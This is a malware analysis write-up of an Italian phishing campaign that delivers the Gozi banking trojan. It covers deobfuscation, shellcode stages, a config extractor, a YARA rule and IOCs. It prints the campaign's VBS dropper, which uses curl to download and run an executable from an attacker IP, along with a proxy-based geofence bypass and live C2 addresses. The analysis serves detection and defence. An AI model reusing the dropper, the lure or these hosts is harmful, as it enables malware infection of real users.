1/19 Gozi - Italian ShellCode Dance 0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/gozi-italian-shellcode-dance In this blogpost I will be going through a recent campaign targeting the Italian audience impersonates to The Italian Revenue Agency. Luring victims to execute payload and become part of Gozi botnet. The Phish A massive malspam email campaign was spreading around the globe targeting italian individuals impersonating to Agenzia delle Entrate letting the users know that there is some problem with VAT and payment related documents: https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/gozi-italian-shellcode-dance https://www.agenziaentrate.gov.it/portale/ 2/19 Phishing Mail Translation: Dear Customer, from the examination of the data and payments relating to the Communication of periodic VAT eliminations, which you presented for the quarter 2023, some inconsistencies emerged. The notifications relating to the inconsistencies found are accessible in the "Tax box" (the Agency section) accessible from the Revenue Agency website (www.agenziaentrate.gov.it) and in the complete version in the archive attached to the current e-mail. This e-mail was created automatically, therefore we recommend that you do not reply to this e-mail address. Verification office, National Directorate of the Revenue Agency The mail contains an attachment: AgenziaEntrate.hta which is part of the Social Engineering technique the threat actor tries to apply by letting the user know in the mail that he isn't suppose to reply back to the mail (as it's an automatically created mail) and the only choice left for the user is to download and open the attachment. Execution Chain Below you can see a diagram of the execution chain from the moment the phishing mail was opened: 3/19 Execution Flow AgenziaEntrate.hta As I've mentioned the email has an .hta attachment. the hta file contains inside of itself a few empty lines at the beginning and afterward a quite good amount of nonsense data: Obfuscated HTA Content So the first thing I've noticed is obfuscated code inside of script tags: Script Tag After cleaning the script a bit we can see clearly what happens here: 4/19 Post Cleaning script The script simply takes escaped string and unescaping it. Below is a quick script that does the job, after unescaping the string a URL decode operation was required also to see clearly the output: import urllib.parse ​ escapedStr = "do\143u\155%65\156t%2E\167%72%69%74e%28%27%3C%27%2B%27%73%63\162i\160%74%20l\141%6E\147%75ag%65%3Dj\163\143%72 unicodeDecodedStr = escapedStr.encode('utf-8').decode('unicode_escape') urlDecodedStr = urllib.parse.unquote(unicodeDecodedStr) ​ print(urlDecodedStr) document.write('<'+'script language=jscript.encode>') Jscript Encode As we can see from the output, the content is encoded using jscript.encode and it can be decoded using this tool. After decoding the encoded data, the script will unescape a huge blob of data: Decoded Jscript.Encode Script Using online tool such as CyberChef I've URL decoded the blob of data and at the first part of the data looked like obfuscated JS code, but when I've scrolled down I found out another script written in VBS: https://en.wikipedia.org/wiki/JScript.Encode https://gist.github.com/bcse/1834878#file-scrdec18-vc8-exe https://gchq.github.io/CyberChef/ 5/19 Vbs Script Window.ReSizeTo 0, 0 Window.MoveTo -4000, -4000 set runn = CreateObject("WScript.Shell") dim file file = "%systemroot%\\System32\\LogFiles\\" & "\login.exe" const DontWaitUntilFinished = false, ShowWindow = 1, DontShowWindow = 0, WaitUntilFinished = true set oShell = CreateObject("WScript.Shell") oShell.Run "cmd /c curl http://191.101.2.39/installazione.exe -o %systemroot%\\System32\\LogFiles\\login.exe ", DontShowWindow, WaitUntilFinished runn.Run file ,0 Close Clearly the script tries to download external payload and drop it to the user's disk at C:\Windows\System32\LogFiles\login.exe Italy Geofence Bypass The payload that the script tries to retrieve utilize the Curl command. I've tried to download the file and got the error: curl: (52) Empty reply from server Failed Payload Fetch So after digging through the flags of Curl, I found the -x flag which allow access the URL through a proxy. So I looked for HTTP proxies in Italy (free-proxy.cz) And by executed the below command I've managed to retrieve the payload: curl -x 185.22.57.134:8080 http://191.101.2.39/installazione.exe -o C:\Users\igal\Desktop\AgenziaEntrate1.bin Successful Payload Fetch Installazione.exe In this part I will be covering the initial loader and going through some of it functionalities. I've opened the loader in IDA and the first thing that caught my attention was the huge .data section: Big .data Section https://curl.se/docs/manpage.html#-x http://free-proxy.cz/en/proxylist/country/IT/http/ping/all 6/19 It's a good indication that we're seeing a packed binary. Now going through WinMain there is a single call to a function before the termination of the program: WinMain Function sub_40471B This function will be the actual main function of the loader, it will call the function mwDecryptWrapper_4041AE which will be the wrapper function for the decryption routine and those will be the function arguments: 1. 1. ShellCode allocated memory 2. 2. Blob1 Length 3. 3. Blob3 Data Call To mwDecryptWrapper mwDecryptWrapper Function The wrapper function will then call mwDecrypt_4040D8 and eventually the last function that will be called before sub_40471B ends will be mwExecGoziShell_4042A6: Call To mwExecGoziShell mwExecGoziShell Func 7/19 The function will jump into the allocated memory that it's data was previously decrypted. Dynamic Analysis Lets see this in the dynamic view: Decryption Phase: Decryption Phase Jump To ShellCode: 8/19 Jump To ShellCode 1st ShellCode Now that we've entered the 1st ShellCode, We can simply dump it and open it in IDA to further static analyze it before we dynamically finding our next interesting POI. Dynamic API Resolve The first thing the ShellCode will do is resolving API's it will need to further execute some function, it will be done by using a technique called PEB Walk and will combine inside of it hashes that simple google can help us to retrieve the hashes values, those are the API's that will be resolved: LoadLibraryA GetProcAddress GlobalAlloc GetLastError Sleep VirtualAlloc CreateToolhelp32Snapshot Module32First CloseHandle https://www.ired.team/offensive-security/code-injection-process-injection/finding-kernel32-base-and-function-addresses-in-shellcode 9/19 Dynamic Resolve API Function resolveShellCode2_465 Then In order to jump to the next stage ShellCode a new memory will be allocated using VirtualAlloc that was previously resolved and then the next shell will be written in the freshly allocated memory (after decrypting it[decryptShellCode2_4F2]), and after that the function will jump to the ShellCode: Jump To 2nd ShellCode Function 2nd ShellCode Same as the first ShellCode, the second ShellCode will start by resolving API dynamically, those are the API's it will resolve: VirtualAlloc 10/19 VirtualProtect VirtualFree GetVersionExA TerminateProcess ExitProcess SetErrorMode After the API's were resolved the ShellCode will use VirtualAlloc to create a new memory section (0x230000): VirtualAlloc Call Then a decryption loop will occur which will resolve and overwrite the freshly allocated memory with an executable binary: Gozi Loader Writing Process At this point I've dumped the binary and moved to analyze it. Gozi Loader I've tried to upload the binary to Tria.ge and instantly got a result that they found it's Gozi binary statically: https://tria.ge/dashboard 11/19 Tria.ge Static Incrimination Which made me a bit confused because I know that Gozi stores references to it's config below the section table (and there supposed to be 3 config entries) Config References In Gozi Binaries So I've opened IDA and tried to look what's going on with this binary, it contains a small amount of function (about 30) and in the "main" function, it will simply hold a reference to another function and will use the API ExitProcess in order to execute this function: Start Function APC Injection I was hovering over the function mwMainFunc_4019F1 and suddenly saw a call to the API QueueUserAPC 12/19 QueueUserAPC API Call The main thing we need to know about APC Injection is that the first argument passed to QueueUserAPC will be the malicious content that the executed thread will execute. (In this case the developers of Gozi used the API SleepEx in order to perform the injection) In this case the first passed argument is actually a function pfnAPC_40139F which will decrypt the final Gozi payload and execute it using ExitThread pfnAPC Function Dynamic Analysis Lets see this in the debugger: APC Injection: 13/19 APC Injection Procedure Final Payload Decryption Routine: Final Payload Decryption Routine Now I can dump the final payload and see whether or not I can extract some configs out of it. Gozi Binary I took a look below the section table and now we have 3 config entries as I would've expected: 14/19 Correct Config Reference Config Extraction I won't be going over Gozi's capability but what was interesting for me is extracting the configurations for it, so I've read about how Gozi handles the configuration and how to work around it using SentinelOne blog about gozi and this was my final script: import pefile import re import struct import malduck import binascii ​ FILE_PATH = '/Users/igal/malwares/gozi/01-03-23/8. final.bin' ​ FILE_DATA = open(FILE_PATH, 'rb').read() ​ def locate_structs(): struct_list = [] ​ pe = pefile.PE(FILE_PATH) ​ nt_head = pe.DOS_HEADER.e_lfanew file_head = nt_head + 4 opt_head = file_head +18 size_of_opt_head = pe.FILE_HEADER.SizeOfOptionalHeader text_section_table = opt_head + size_of_opt_head + 2 num_sections = pe.FILE_HEADER.NumberOfSections size_of_section_table = 32 * (num_sections + 1) end_of_section_table = text_section_table + size_of_section_table jj_struct_start = end_of_section_table + 48 structs = FILE_DATA[jj_struct_start:jj_struct_start + 60] return structs.split(b'JJ')[1:] ​ def convertEndian(byteData): big_endian_uint = struct.unpack('>I', byteData)[0] little_endian_uint = big_endian_uint.to_bytes(4, byteorder='little') return little_endian_uint.hex() ​ def blobDataRetrieve(blobOff, blobLen): https://www.sentinelone.com/labs/writing-malware-configuration-extractors-for-isfb-ursnif/ 15/19 pe = pefile.PE(FILE_PATH) configOff = pe.get_offset_from_rva(blobOff) blobData = FILE_DATA[configOff:configOff + blobLen].split(b'\x00\x00\x00\x00\x00')[0] return blobData def aplibDecryption(config_data): ptxt_data = malduck.aplib.decompress(config_data) #print(ptxt_data) entry_data = [] for entry in ptxt_data.split(b"\x00"): if len(entry) > 1: entry_data.append(entry.decode('ISO-8859-1')) return entry_data ​ def decodeC2(dataArray): for data in dataArray: if data.isascii() and len(data) > 20: c2List = data.split(' ') for c2 in c2List: print(f'\t[+] {c2}') ​ dataStructs = locate_structs() ​ for data in dataStructs: crcHash = convertEndian(data[6:10]) if crcHash == 'e1285e64': #RSA Key Hash blobOffset = int(convertEndian(data[10:14]), 16) configOff = pe.get_offset_from_rva(blobOffset) print(f'[*] RSA Key at offset:{hex(configOff)}') if crcHash == '8fb1dde1': #Config Hash blobOffset = int(convertEndian(data[10:14]), 16) blobLength = int(convertEndian(data[14:18]), 16) blobData = blobDataRetrieve(blobOffset, blobLength) decryptedData = aplibDecryption(blobData) print('[*] C2 List:') decodeC2(decryptedData) if crcHash == '68ebb983': #Wordlist Hash blobOffset = int(convertEndian(data[10:14]), 16) 16/19 blobLength = int(convertEndian(data[14:18]), 16) blobData = blobDataRetrieve(blobOffset, blobLength) decryptedData = aplibDecryption(blobData)[0].split('\r\n')[1:-1] print('[*] Wordlist:') for word in decryptedData: print(f'\t[+] {word}') [*] RSA Key at offset:0xa800 [*] C2 List: [+] checklist.skype.com [+] 62.173.141.252 [+] 31.41.44.33 [+] 109.248.11.112 [*] Wordlist: [+] list [+] stop [+] computer [+] desktop [+] system [+] service [+] start [+] game [+] stop [+] operation [+] black [+] line [+] white [+] mode [+] link [+] urls [+] text [+] name [+] document [+] type [+] folder [+] mouse [+] file [+] paper 17/19 [+] mark [+] check [+] mask [+] level [+] memory [+] chip [+] time [+] reply [+] date [+] mirrow [+] settings [+] collect [+] options [+] value [+] manager [+] page [+] control [+] thread [+] operator [+] byte [+] char [+] return [+] device [+] driver [+] tool [+] sheet [+] util [+] book [+] class [+] window [+] handler [+] pack [+] virtual [+] test [+] active [+] collision [+] process 18/19 [+] make [+] local [+] core Yara Rule The below rule was created to hunt down unpacked binaries: import "pe" rule Win_Gozi_JJ { meta: description = "Gozi JJ Structure binary rule" author = "0xToxin" malware_family = "Gozi" date = "15-03-23" strings: $fingerprint = "JJ" ascii $peCheck = "This program cannot be run in DOS mode" ascii condition: all of them and #fingerprint >= 2 and for all i in (1..#fingerprint - 1): (@fingerprint[i] < 0x400 and @fingerprint[i] > 0x250 and @fingerprint[i + 1] - @fingerprint[i] == 0x14) } You can see the result of proactive hunt using unpac.me yara hunt Summary In this blogpost we went over a recent Gozi distribution campaign that was targeting the Italian audience. The developers added some extra layers of protection to insure the payloads are being opened by Italian only users and by this bypass AV's to identify the retrieved payload. IOC's Samples: AgenziaEntrate.hta - a3cec099b936e9f486de3b1492a81e55b17d5c2b06223f4256d49afc7bd212bc​ AgenziaEntrate_decoded.js - c99f4de75e3c6fe98d6fbbcd0a7dbf45e8c7539ec8dc77ce86cea2cfaf822b6a​ installazione.exe - 9d1e71b94eab825c928377e93377feb62e02a85b7d750b883919207119a56e0d​ shellcode1.bin - ebea18a2f0840080d033fb9eb3c54a91eb73f0138893e6c29eb7882bf74c1c30​ shellcode2.bin - df4f432719d32be6cc61598e9ca9a982dc0b6f093f8314c8557457729df3b37f​ gozi loader.bin - 061c271c0617e56aeb196c834fcab2d24755afa50cd95cc6a299d76be496a858​ gozi binary.bin - 876860a923754e2d2f6b1514d98f4914271e8cf60d3f95cf1f983e91baffa32b​ C2's: 62.173.141.252 31.41.44.33 109.248.11.112 Botnet: 7709 References Malware Analysis - Previous ScrubCrypt - The Rebirth of Jlaive https://www.unpac.me/yara/results/9fbb4b2c-ecaf-40bc-bf8f-6c8162189021 https://bazaar.abuse.ch/sample/a3cec099b936e9f486de3b1492a81e55b17d5c2b06223f4256d49afc7bd212bc https://bazaar.abuse.ch/sample/c99f4de75e3c6fe98d6fbbcd0a7dbf45e8c7539ec8dc77ce86cea2cfaf822b6a/ https://bazaar.abuse.ch/sample/9d1e71b94eab825c928377e93377feb62e02a85b7d750b883919207119a56e0d/ https://bazaar.abuse.ch/sample/ebea18a2f0840080d033fb9eb3c54a91eb73f0138893e6c29eb7882bf74c1c30/ https://bazaar.abuse.ch/sample/df4f432719d32be6cc61598e9ca9a982dc0b6f093f8314c8557457729df3b37f/ https://bazaar.abuse.ch/sample/061c271c0617e56aeb196c834fcab2d24755afa50cd95cc6a299d76be496a858/ https://bazaar.abuse.ch/sample/876860a923754e2d2f6b1514d98f4914271e8cf60d3f95cf1f983e91baffa32b https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/scrubcrypt-the-rebirth-of-jlaive 19/19 Last modified 11d ago